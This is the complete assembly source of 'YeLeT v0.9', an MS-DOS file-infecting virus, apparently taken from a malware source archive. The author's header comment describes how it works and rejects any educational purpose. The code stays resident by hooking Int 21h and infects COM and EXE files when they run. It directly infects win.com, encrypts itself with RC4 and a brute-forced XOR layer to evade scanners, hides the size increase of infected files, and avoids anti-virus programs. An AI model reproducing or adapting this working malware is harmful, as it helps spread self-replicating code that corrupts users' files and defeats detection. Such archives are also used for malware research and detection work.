MalwareSourceCode/MSDOS/Virus.MSDOS.Yelet.j.asm
vxunderground 9432413cf6 mov fix
2022-08-21 04:23:18 -05:00

1013 lines
34 KiB
NASM

comment $
++++++++++++++++++++++++++++++ YeLeT v0.9 ++++++++++++++++++++++++++++++++++
This is YeLeT version 0.9, it is not the final version, i wanted to
add some more stuff but didn't get it done until we released CB #4.
Also this is NOT for educational purposes :) because its HIGHLY
unoptimized (... well, but it werx!)
I know that this virus is getting detected by AVP as 'Suspicion
Type_ComExeTsr' (don't know about other scanners) but i don't care about
that yet as its just a beta version, a final version (with many
improvments) will sometimes be available from the CB webpage.
Anyway, YeLeT stays resident and hooks Int 21h (func: 4Bh) and infects
MZ/ZM EXE and COM files both in plain DOS and after loading Winblows.
It uses 2 encryption layers, the second one uses just simple XOR (with
some bruteforce cracking so the key doesn't have to be stored in the
code) and the first layer uses my own Unoptimized-Viral-RC4 routine
(this routine doesn't use any bruteforce cracking routines as it would
make the user a bit suspicious if files would take billions of years to
load ;-)). Also it uses simple DTA-size stealth, direct infection of
win.com, and it avoids infection of some AV programs and archivers.
Credits & Greets go to:
Spanska - for some useful IDEAs!! :-)
Bruce Schneier - for the book Applied Cryptography (i used the RC4
algorithm described in his book).
ISBN - 0-471-11709-9 -
AVP - their support sucks, they always just tell you to
wait for the next update, but their scanner is the
best! :-)
Horny Toad - thanks for sticking together our magazines all the
time!
Opic - thanks for helping him ^^^ out with the mag this
time. ;-)
... and before the interesting stuff beginns, here is a description of
RC4 (from 'Applied Cryptography'):
- The algorithm works in OFB: The keystream is independent of the
plaintext. It has a 8 * 8 S-box: S[0], S[1], ... S[255]. The entries
are a permutation of the numbers 0 through 255, and the permutation is
a function of the variable-length key. It has two counters, i and j,
initialized at zero.
i = (i + 1) mod 256
j = (j + S[i]) mod 256
swap S[i] and S[j]
t = (S[i] + S[j]) mod 256
K = S[t]
The byte K is XORed with the plaintext to produce ciphertext or XORed
with the ciphertext to produce plaintext.
- Initializing the S-box is also easy. First fill it linearly:
S[0] = 0, S[1] = 1,... , S[255] = 255
Then fill another 256-byte array with the key, repeating the key as
often as necessary to fill the entire array: K[0], K[1],... K[255]. Set
the index j to zero, then:
for i = 0 to 255:
j = (j + S[i] + K[i]) mod 256
swap S[i] and S[j]
Thats it, please send bug reports to spooky@nym.alias.net :-)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
$
.model tiny ; .model virus
.286 ; allow 286 instructions (286's are needed for
; pusha/popa)
.code ; code begins here
ORG 0CBh ; Brought to you by CB ;-)
jumps ; automatically change conditional jumps which are
; bigger then -128/+127 bytes.
; some constants
com equ 0 ; used to detect which 'restore routine' to run
exe equ 1
off equ 0 ; archiver executed? (used in the stealth routine)
on equ 1 ;
exit_exe: ; only used at the first execution
mov ax,4c00h
int 21h
start: ; entry point
call delta ; get a delta offset
delta:
pop bp
sub bp,offset delta
push ds ; save DS and ES (point to the PSP) for later use
push es ; when returning control to an exe file
push cs ; DS = ES = CS
push cs
pop ds
pop es
lea si,[bp+xor_crypt_start] ; simple bruteforce attack to find the
bruteforce_loopy: ; decryption key (like Spanskas IDEA
mov al,byte ptr cs:[si] ; virus). it fools any scanner which
xor al,byte ptr cs:[bp+xor_value] ; doesn't have something like AVP's 'code-
cmp al,90h ; analyzer' function.
je found_it
inc byte ptr cs:[bp+xor_value]
jmp bruteforce_loopy
found_it:
; decrypt virus using a simple XOR algorithm
; from xor_crypt_start
mov di,si ; to xor_crypt_start
mov cx,the_end - xor_crypt_start ; the_end - xor_crypt_start byte's
call crypt ; decrypt it
jmp xor_crypt_start ; jump to the now decrypted part
xor_value db 0 ; en/decryption key used by the XOR encryption
crypt: ; en/decryption routine
lodsb ; load one byte from DS:SI into AL
xor al,byte ptr cs:[bp+xor_value] ; XOR it with xor_value
stosb ; store byte in AL at ES:DI
loop crypt ; repeat until CX = 0
ret ; return
xor_crypt_start: ; - xor encrypted part begins here -
nop ; 'checksum' used by bruteforce decryption
; routine
cmp byte ptr cs:[bp+first],on
je rc4_crypt_start ; if its the first execution we do not decrypt
; the code using RC4, just jump over it
mov dx,42 ; expand the 42 byte key into a 256 byte
call rc4expandkey ; array
; decrpyt code using RC4,
lea si,[bp+rc4_crypt_start] ; from rc4_crypt_start
mov di,si ; to rc4_crypt_start
mov dx,the_end - rc4_crypt_start ; the_end - rc4_crypt_start bytes
call rc4crypt ; decrypt it
jmp rc4_crypt_start ; jump over the en/decryption routines.
rc4expandkey proc
pusha
mov byte ptr [bp+key_ptr],0
lea di,[bp+rc4state] ; fill the rc4state array with 0 .. 255
xor ax,ax
linear_loopy:
stosb
inc al
jnz linear_loopy
xor ax,ax ; J = 0
xor bx,bx ; I = 0
mutate_loopy:
lea si,[bp+rc4state]
add si,bx
mov ch,cs:[si] ; CH = S[i]
push bx
mov bl,[bp+key_ptr]
lea si,[bp+rc4key]
add si,bx
mov cl,cs:[si] ; CL = K[i]
inc [bp+key_ptr]
cmp [bp+key_ptr],dl ; dl = keylength ... reset key_ptr?
jne no_reset
mov [bp+key_ptr],0
no_reset:
pop bx
add al,cl ; J = J + K[i]
add al,ch ; J = J + S[i]
mov di,ax ; DI = J
; swap (S[i], S[j])
lea si,[bp+rc4state]
add si,bx
mov al,cs:[si] ; al = S[i]
mov [bp+temp],al ; temp = S[i]
lea si,[bp+rc4state]
add si,di
mov al,cs:[si] ; al = S[j]
lea si,[bp+rc4state]
add si,bx
mov cs:[si],al ; S[i] = S[j]
mov al,[bp+temp] ; al = S[i]
lea si,[bp+rc4state]
add si,di
mov cs:[si],al ; S[j] = S[i]
inc bl ; I = I + 1
jnz mutate_loopy ; 256 loops done? yes - exit
popa
ret
rc4expandkey endp
rc4crypt proc
pusha
mov word ptr cs:[bp+dest],di
xor bx,bx
xor di,di
xor ax,ax
xor cx,cx
crypt_loopy:
inc bl ; I = I + 1
mov cx,di ; CX = DI = J
push di
lea di,[bp+rc4state]
add di,bx
add cl,byte ptr cs:[di]
pop di
mov di,cx ; J = J + S[i]
push di
lea di,[bp+rc4state]
add di,bx
mov al,byte ptr cs:[di] ; swap (S[i], S[j])
pop di
mov byte ptr cs:[bp+temp],al
push si
lea si,[bp+rc4state]
add si,di
mov al,byte ptr cs:[si]
lea si,[bp+rc4state]
add si,bx
mov byte ptr cs:[si],al
pop si
mov al,byte ptr cs:[bp+temp]
push si
lea si,[bp+rc4state]
add si,di
mov byte ptr cs:[si],al
pop si
push si
lea si,[bp+rc4state]
add si,di
mov al,byte ptr cs:[si] ; al = S[j]
lea si,[bp+rc4state]
add si,bx
add al,byte ptr cs:[si] ; t = al = S[i] + S[j]
pop si
push di
mov di,ax
push si
lea si,[bp+rc4state]
add si,di
mov al,byte ptr cs:[si] ; K = al = S[t]
pop si
mov di,word ptr cs:[bp+dest] ; DI = destination
mov cl,cs:[si] ; cl = byte to en/decrypt
xor cl,al ; cl = cl xor K
mov cs:[di],cl ; destination = cl
inc word ptr cs:[bp+dest] ; increase destination
inc si ; increase source
pop di
dec dx ; decrease data length
jnz crypt_loopy ; if zero exit
popa
ret
rc4crypt endp
key_ptr db 0
dest dw ?
temp db ?
rc4state db 256 dup (?)
rc4key db 42 dup(?)
first db on
rc4_crypt_start: ; - RC4 encrypted part begins here -
mov byte ptr cs:[bp+first],off
mov byte ptr cs:[bp+archiver],off
mov ax,0deadh ; installation check...
int 21h ; why do i use 0deadh all the time???? :]
cmp bx,0deadh ; if the installation check returns 0deadh
je get_outta_here ; we are already in memory, and restore
; control to the host
go_tsr: ; if not, we go resident
pop es ; pop ES for a sec, so we can use the PSP
push es ; push it again, for later use
sub word ptr es:[2], 140h ; decrease the top of memory by 140h * 16 byte
; from the PSP
mov ax,es ; AX = ES
dec ax ; AX - 1
mov es,ax ; ES = AX (= MCB)
sub word ptr es:[3], 140h ; decrease the free amount of memory after the
; program by 140h * 16 bytes (5kB) from the
; MCB
mov ax,40h
mov es,ax ; ES = AX = 40h (= Bios Data Segment)
sub word ptr es:[13h],5 ; decrease the free memory by 5 * 1024 bytes
; (again 5kB) from the Bios
mov ax,word ptr es:[13h] ; AX = free memory (in kB)
shl ax,6 ; we need it in paragraphs (segments)
; free segment = AX * 1024 / 16
mov es,ax ; ES = AX (= free segment)
push cs
pop ds ; DS = CS
mov cx,the_end - start ; the_end - start bytes
lea si,[bp+start] ; from DS:start
xor di,di ; to ES:0
rep movsb ; copy the virus into the free segment
xor ax,ax
mov ds,ax ; DS = AX = 0 (= Interrupt Vector Table)
lea ax,new_int_21h ; AX = offset of the new interrupt 21h routine
sub ax,offset start ; substract 'offset start' because we moved it
; down to offset 0
mov bx,es ; BX = ES (= segment where the new interrupt
; routine is in)
cli ; disable ints
xchg ax,word ptr ds:[21h*4] ; save the old interrupt's address in BX and
xchg bx,word ptr ds:[21h*4+2] ; AX, and overwrite it with the new one
mov word ptr es:[original_int_21h-offset start],ax ; save AX and BX in
mov word ptr es:[original_int_21h+2-offset start],bx ; the virus's code
sti ; enable ints again
push cs ; DS = ES = CS
push cs
pop ds
pop es
;;;;
get_outta_here:
; direct infection of win.com begins here,
push word ptr cs:[bp+state] ; save 'state' as it will be changed in the
; infection routine.
lea si,[bp+header] ; save the first 3 bytes in original_3, needed
lea di,[bp+original_3] ; for later restoration if its a com file.
movsw
movsb
; copy the original IP, CS, SS, SP
lea si,[bp+old_ip] ; from old_ip
lea di,[bp+original_ip] ; to original_ip
mov cx,4 ; 4 words to copy
rep movsw ; needed for restoring control if its an exe
; file.
lea ax,[bp+wincom_done] ; save the return address in
mov word ptr cs:[bp+original_int_21h],ax ; original_int_21h (used to
mov word ptr cs:[bp+original_int_21h+2],cs ; return from the 'fake' int21h
; 4Bh routine.
mov ah,4bh ; fake file execution (= infection)
lea dx,[bp+wincom] ; c:\windows\win.com
jmp new_int_21h ; 'int 21h'
wincom_done: ; return here after infecting win.com
pop ax ; restore the 'state'
cmp al,com ; check the state if we are com or exe
je restore_com ; jump to restore_com routine if we are com
restore_exe: ; else we must be an exe :)
pop es ; restore ES and DS (point to the PSP)
pop ds
mov ax,es ; AX = ES (= PSP)
add ax,10h ; add 10h paragraphs to AX,
; 10h * 16 = 100h bytes, so it ignores the
; PSP and points directly to the beginning of
; the code/data
add word ptr cs:[bp+original_cs],ax ; CS = real CS (as before infection)
; as the initial CS is 'relative to
; start of file' we adjust the initial
; CS value by adding AX (beginning of
; code/data)
add ax,word ptr cs:[bp+original_ss] ; same for initial SS, as it is a relative
; value too
cli ; disable ints
mov ss,ax ; SS = real SS
mov sp,word ptr cs:[bp+original_sp] ; SP = real SP
sti ; enable ints
db 0eah ; jump to the beginning of the host
original_ip dw ? ; JMP FAR to original_ip,
original_cs dw ? ; and original_cs (= JMP FAR CS:IP)
original_sp dw ?
original_ss dw ?
restore_com: ; this is where we go to restore control if
; we are a com file
mov cx,3 ; move the first 3 bytes
lea si,[bp+original_3] ; from 'header'
mov di,100h ; to 100h (beginning of com files)
rep movsb ; copy them..
pop es
pop ds
push 100h ; push 100h onto the stack
ret ; restore control (return to 100h)
new_int_24h: ; new crittical error handler
iret ; just return if its called :)
original_int_24h dd ?
new_int_21h: ; the new interrupt 21h begins here
pushf ; as always, push flags at first
cmp ax,0deadh ; install check?
jne no_installcheck ; no...
mov bx,ax ; yes!? then BX = AX (= 0deadh)
popf ; pop flags again
iret ; and return from interrupt
no_installcheck: ; here we go if there was no install check
cmp ah,4bh ; is something getting executed?
je infect ; yes? then goto infect
cmp ah,4eh ; findfirst?
je stealth ; yes? - stealth
cmp ah,4fh ; findnext?
je stealth ; yes? - stealth
cmp ah,4ch ; terminate program?
je exit_prog ;
jmp restore ; all other functions execute the normal int
exit_prog:
push bp
call exit_delta
exit_delta:
pop bp
sub bp,offset exit_delta
mov byte ptr cs:[bp+archiver],off
pop bp
jmp restore
stealth:
popf ; restore the flags, they don't matter here.
push bp ; save BP (changed in the delta routine)
call stealth_delta ; well, another delta offset :]
stealth_delta:
pop bp
sub bp,offset stealth_delta
pushf
call dword ptr cs:[bp+original_int_21h] ; fake int 21h call
pushf ; save everything (returned flags and regs!)
pusha
push es
push ds
mov ah,2fh ; get address of DTA in ES:BX
int 21h
push es ; DS = ES (= DTA), so we can access the
pop ds ; filename in the dta (by using func 3Dh,..)
mov di,bx
add di,1eh ; DI points to the beginning of the filename
push di ; save that for later
mov al,'.' ; search for a dot
mov cx,13 ; 13 characters max
cld ; forward direction
repne scasb ; search while not found and cx <> 0
cmp word ptr es:[di],'OC' ; if the extension begins with 'CO' it
je might_be_com_exe ; 'might' be a com file
cmp word ptr es:[di],'XE' ; if the extension begins with 'EX' it
je might_be_com_exe ; 'might' be an exe file
pop di ; if the extension doesn't begin with
jmp no_stealth ; 'CO' neither with 'EX' we restore the
; stack (pop di) and leave the stealth
; routine.
might_be_com_exe:
cmp byte ptr es:[di+2],'M' ; if the last character of the extension is
je probably_com_exe ; a 'M' the file is 'probably' a com file :)
cmp byte ptr es:[di+2],'E' ; blah..
je probably_com_exe
pop di ; if its not a com and not an exe we restore
jmp no_stealth ; the stack again and leave the stealth
; routine.
probably_com_exe:
pop dx ; restore DX (filename)
push bx ; save BX (offset of DTA)
mov ax,3d00h ; open file at DS:DX for reading
int 21h
jnc no_error ; (an error occures if the file is in
pop bx ; another directory), if so, restore the
jmp no_stealth ; stack (pop bx) and leave...
no_error:
xchg ax,bx ; put the filehandle into BX
push cs
pop ds ; DS = CS
mov ah,3fh ; read
mov cx,1ch ; 1Ch bytes
lea dx,[bp+header] ; to 'header'
int 21h
mov ah,3eh ; close the file.
int 21h
pop bx ; restore BX (offset of dta)
cmp word ptr cs:[bp+header],'ZM' ; if the file begins with either 'ZM'
je check_exe
cmp word ptr cs:[bp+header],'MZ' ; or 'MZ' it is an exe file,
je check_exe ; if so it checks if the EXE file is
; infected.
check_com:
mov cx,the_end - start + 7 ; else it checks the COM file for an
mov ax,word ptr es:[bx+1ah] ; infection. filesize goes into AX.
sub ax,(the_end - start)+3+7 ; substract virussize + 3(jmp) + 7(enuns)
cmp ax,word ptr cs:[bp+header+1] ; if thats equal to the jump in the header
je stealth_it ; it is already infected and will be
jmp no_stealth ; stealthed... else, leave the stealth
; routine.
check_exe:
cmp word ptr cs:[bp+header+12h],'XV' ; if it is an exe file we just check
jne no_stealth ; the infection marker from the header
; not infected? - leave
mov cx,the_end - start
stealth_it:
cmp byte ptr cs:[bp+archiver],on ; if an archiver is running don't
je no_stealth ; stealth it.
sub word ptr es:[bx+1ah],cx ; substract the virussize from
sbb word ptr es:[bx+1ch],0 ; the filesize in the dta.
no_stealth:
pop ds ; restore everything that was pushed
pop es ; before
popa
popf
pop bp
retf 2 ; and exit the interrupt, without
; poping (restoring) the flags!
infect: ; infect the file at DS:DX
pusha ; save all regs
push es ; save DS,
push ds ; ES
push dx ; and DX (= offset of the filename)
call infect_delta
infect_delta:
pop bp
sub bp,offset infect_delta
push ds
pop es
cld
xor ax,ax
mov cx,64
mov di,dx
repne scasb ; search for the end (zero) of the filename
mov ax,word ptr ds:[di-10] ; check for PKzip
mov bx,word ptr ds:[di-8]
or ax,2020h ; make it lower case
or bx,2020h
cmp ax,'kp'
je exec_pkzip
mov ax,word ptr ds:[di-8] ; check for ARJ and RAR
mov bx,word ptr ds:[di-6]
or ax,2020h
or bx,2020h
cmp ax,'ra'
je exec_arj
cmp ax,'ar'
je exec_rar
jmp no_archiver
exec_pkzip:
cmp bx,'iz'
je exec_archiver
jmp no_archiver
exec_arj:
cmp bx,'.j'
je exec_archiver
jmp no_archiver
exec_rar:
cmp bx,'.r'
je exec_archiver
jmp no_archiver
exec_archiver:
mov byte ptr cs:[bp+archiver],on
no_archiver:
std
mov al,'\'
mov cx,64
repne scasb
mov ax,word ptr ds:[di+2]
or ax,2020h
push cs
pop es
cld
lea di,[bp+avs]
mov cx,5
repne scasw ; search for AV programs....
jne no_av
pop dx
pop ds
pop es
popa
jmp restore
no_av:
push ds ; set a new crittical error handler (int 24h)
xor ax,ax
mov ds,ax ; DS = AX = 0 (= Interrupt Vector Table)
lea ax,[bp+new_int_24h] ; AX = offset of the new interrupt 24h routine
mov bx,cs ; BX = CS (= segment where the new interrupt
; routine is in)
cli ; disable ints
xchg ax,word ptr ds:[24h*4] ; save the old interrupt's address in BX and
xchg bx,word ptr ds:[24h*4+2] ; AX, and overwrite it with the new one
mov word ptr cs:[bp+original_int_24h],ax ; save AX and BX in
mov word ptr cs:[bp+original_int_24h+2],bx ; the virus's code
sti ; enable ints again
pop ds
mov ax,4300h ; get attributes of filename at DS:DX
int 21h
push cx ; save them
mov ax,4301h ; fubarize the attributes
xor cx,cx
int 21h
jc error ; if there was an error while writing to the
; disk we cancel the infection
mov ax,3d02h ; open the file at DS:DX
int 21h
jc error
xchg ax,bx ; BX = filehandle
push cs ; DS = ES = CS
push cs
pop ds
pop es
mov ax,5700h ; get file time/date
int 21h
push cx ; save file time
push dx ; and date
mov ah,3fh ; read from file
mov cx,1ch ; 1Ch bytes
lea dx,[bp+header] ; to header
int 21h
jc close ; can't read from file? then close it...
cmp ax,1ch ; less then 1ch bytes read?
jne close ; then close it too...
cmp word ptr cs:[bp+header],'MZ' ; does the header begin with 'ZM'?
je infect_exe
cmp word ptr cs:[bp+header],'ZM' ; does the header begin with 'MZ'?
je infect_exe
infect_com: ; no MZ/ZM? then it must be a com...
mov ax,4202h ; set filepointer to the end
xor cx,cx
xor dx,dx
int 21h
push ax ; save filesize
sub ax,(the_end - start) + 3+7 ; decrease it by ('virussize'+3+7)
cmp ax,word ptr cs:[bp+header+1] ; and compare that value with the 2nd byte
pop ax ; in the header. (restore filesize)
je close ; if they match, the file is already
; infected.
sub ax,3 ; if not already infected, we calculate
mov word ptr cs:[bp+new_jump+1],ax ; a new jump,
mov byte ptr cs:[bp+state],com ; and change the 'state' to COM.
mov ax,4201h ; seeks to EOF - 7 (beginning of ENUNSxx)
mov cx,-1
mov dx,-7
int 21h
mov ah,3fh ; read the enuns into a buffer
lea dx,[bp+enuns]
mov cx,7
int 21h
add word ptr cs:[bp+enuns+5],the_end - start+7 ; add the virus's size + 7
; to the word at the end of
; enuns.
call encrypt ; this gets a new en/decryption key, and
; encrypts the whole virus from
; xor_crypt_start till the_end and stores
; the encrypted code at the_end.
call append ; append the virus to the end of the file.
mov ah,40h ; also add the ENUNSxx to the end of
lea dx,[bp+enuns] ; COM files, this makes winblows 95 com
mov cx,7 ; files functioning again :)
int 21h
mov ax,4200h ; go to the beginning of the file
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ; and write the new jump over the first
lea dx,[bp+new_jump] ; 3 byte.
mov cx,3
int 21h
;;;;
jmp close ; jump over the exe infection routine to
; close the file.
infect_exe: ; the marker was either ZM or MZ so it
; must be an exe file
cmp word ptr cs:[bp+header+12h],'XV' ; check for the infection marker at
je close ; offset 12h in the exe header, if
; its already there we close the file.
cmp word ptr cs:[bp+header+18h],40h ; check for new exe files. if the
jae close ; offset of the relocation table entry
; is above or equal 40h it is probably
; a new exe file and we close it.
mov word ptr cs:[bp+header+12h],'XV' ; set infection marker
mov byte ptr cs:[bp+state],exe ; change state to EXE
; save important fields from the
mov ax,word ptr cs:[bp+header+14h] ; header:
mov word ptr cs:[bp+old_ip],ax ; offset 14h - initial IP
mov ax,word ptr cs:[bp+header+16h]
mov word ptr cs:[bp+old_cs],ax ; offset 16h - initial CS
mov ax,word ptr cs:[bp+header+0eh]
mov word ptr cs:[bp+old_ss],ax ; offset 0eh - initial SS
mov ax,word ptr cs:[bp+header+10h]
mov word ptr cs:[bp+old_sp],ax ; offset 10h - initial SP
mov ax,4202h ; seek to the end of the file
xor cx,cx
xor dx,dx
int 21h
mov word ptr cs:[bp+filesize],ax ; save the filesize
mov word ptr cs:[bp+filesize+2],dx
mov cx,512 ; overlay check, get the filesize in 512
div cx ; byte pages
cmp dx,0
je no_remainder2 ; if there is a remainder in DX
inc ax ; increase AX
no_remainder2:
cmp word ptr cs:[bp+header+2],dx ; if DX matches offset 2 of the exe hdr
jne close ; and if AX matches offset 4 there are
cmp word ptr cs:[bp+header+4],ax ; no overlays, if there are overlays we
jne close ; have to close the file.
mov ax,word ptr cs:[bp+filesize] ; restore filesize in DX:AX
mov dx,word ptr cs:[bp+filesize+2]
push ax ; save filesize again, some
push dx ; optimizations would be nice here :^)
add ax,the_end - start ; add virus size to filesize
adc dx,0
mov cx,512 ; convert it to 512 byte pages
div cx
cmp dx,0 ; as always, if there is a remainder in
je no_remainder ; DX we have to increase AX.
inc ax
no_remainder:
mov word ptr cs:[bp+header+4],ax ; save the new filesize at offset 4 and
mov word ptr cs:[bp+header+2],dx ; 2 in the exe header.
pop dx ; restore filesize, again
pop ax
mov cx,16 ; at this time convert it to 16 byte
div cx ; paragraphs
mov cx,word ptr cs:[bp+header+8] ; substract the headersize from it, so
sub ax,cx ; we get the new CS:IP in AX:DX
mov word ptr cs:[bp+header+16h],ax ; save CS
mov word ptr cs:[bp+header+14h],dx ; save IP
mov word ptr cs:[bp+header+0eh],ax ; save SS (= CS)
mov word ptr cs:[bp+header+10h],0fffeh ; save SP
call encrypt ; encrypts the virus and stores it at
; the_end.
call append ; append the virus at the end of the file.
mov ax,4200h ; seek to the beginning
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ; replace the exe header with the new one.
lea dx,[bp+header]
mov cx,1ch
int 21h
;;;;
close: ; restore stuff like file time/date,
; attribs and then close it.
mov ax,5701h ; restore the saved file time and date
pop dx
pop cx
int 21h
mov ah,3eh ; close it!
int 21h
error:
pop cx ; restore attribs in CX
pop dx ; restore the filename
pop ds ; restore DS
mov ax,4301h
int 21h ; set attributes (CX on filename at DS:DX)
push ds ; restore the original crittical error handler
xor ax,ax
mov ds,ax ; DS = AX = 0 (= Interrupt Vector Table)
les dx,cs:[bp+original_int_24h] ; ES:DX = dword ptr cs:[original_int_24h]
cli ; disable ints
mov word ptr ds:[24h*4],dx ; save the old address
mov word ptr ds:[24h*4+2],es
sti ; enable ints again
pop ds
pop es ; restore ES and
popa ; the registers.
restore: ; restore the original interrupt call
popf ; pop flags
db 0eah ; and JuMP FAR to
original_int_21h dd ? ; the real address of int21h
encrypt proc ; used to encrypt the virus code
mov cx,42 ; fill the rc4key with 42 'random' bytes.
lea di,[bp+rc4key]
rc4_key_loopy:
in al,40h
mov byte ptr cs:[di],al
inc di
loop rc4_key_loopy
in al,40h
mov byte ptr cs:[bp+xor_value],al ; get a new 'random' key into xor_value
lea si,[bp+start] ; copy the whole virus code to the_end
lea di,[bp+the_end]
mov cx,the_end - start
rep movsb
mov dx,42 ; encrypt the 1st layer using RC4
call rc4expandkey
lea si,[bp+the_end]
add si,offset rc4_crypt_start
sub si,offset start
mov di,si
mov dx,the_end - rc4_crypt_start
call rc4crypt
lea si,[bp+the_end] ; encrypt the 2nd layer using XOR
add si,offset xor_crypt_start
sub si,offset start
mov di,si
mov cx,the_end - xor_crypt_start
call crypt
mov byte ptr cs:[bp+xor_value],0 ; set xor_value (decryption key) to zero
; (for bruteforce cracking)
ret ; return
encrypt endp
append proc
mov ah,40h ; write the first, unencrypted part of the
lea dx,[bp+start] ; virus into the file. (start till
mov cx,xor_crypt_start - start ; xor_crypt_start)
int 21h
mov ah,40h ; write the encrypted part into the file,
lea dx,[bp+the_end] ; beginning at the_end
add dx,offset xor_crypt_start
sub dx,offset start
mov cx,the_end - xor_crypt_start ; the_end - xor_crypt_start bytes.
int 21h
ret ; return
append endp
header db 0cdh,20h,1ah dup ('?') ; buffer for exe header and com stuff
old_ip dw offset exit_exe ; buffer for the original IP
old_cs dw 0 ; CS
old_sp dw 0fffeh ; SP
old_ss dw 0 ; SS
new_jump db 0e9h,0,0 ; buffer used by com infection to
original_3 db 3 dup(?) ; calculate a new jump
message1 db 'YeLeT 0.9, just another bug in your Micro$oft System...',10,13
db '$'
filesize dd ? ; buffer for the filesize [optimization
; needed! ;]
wincom db 'c:\windows\win.com',0
avs db 'scavtbf-fi' ; anti virus programs we are checking for
; SCan, AVp, TBav (and co.), F-prot and
; FIndviru
state db exe ; represents the current filetype
archiver db off
enuns db 7 dup(?) ; buffer for win95's ENUNS
the_end:
end start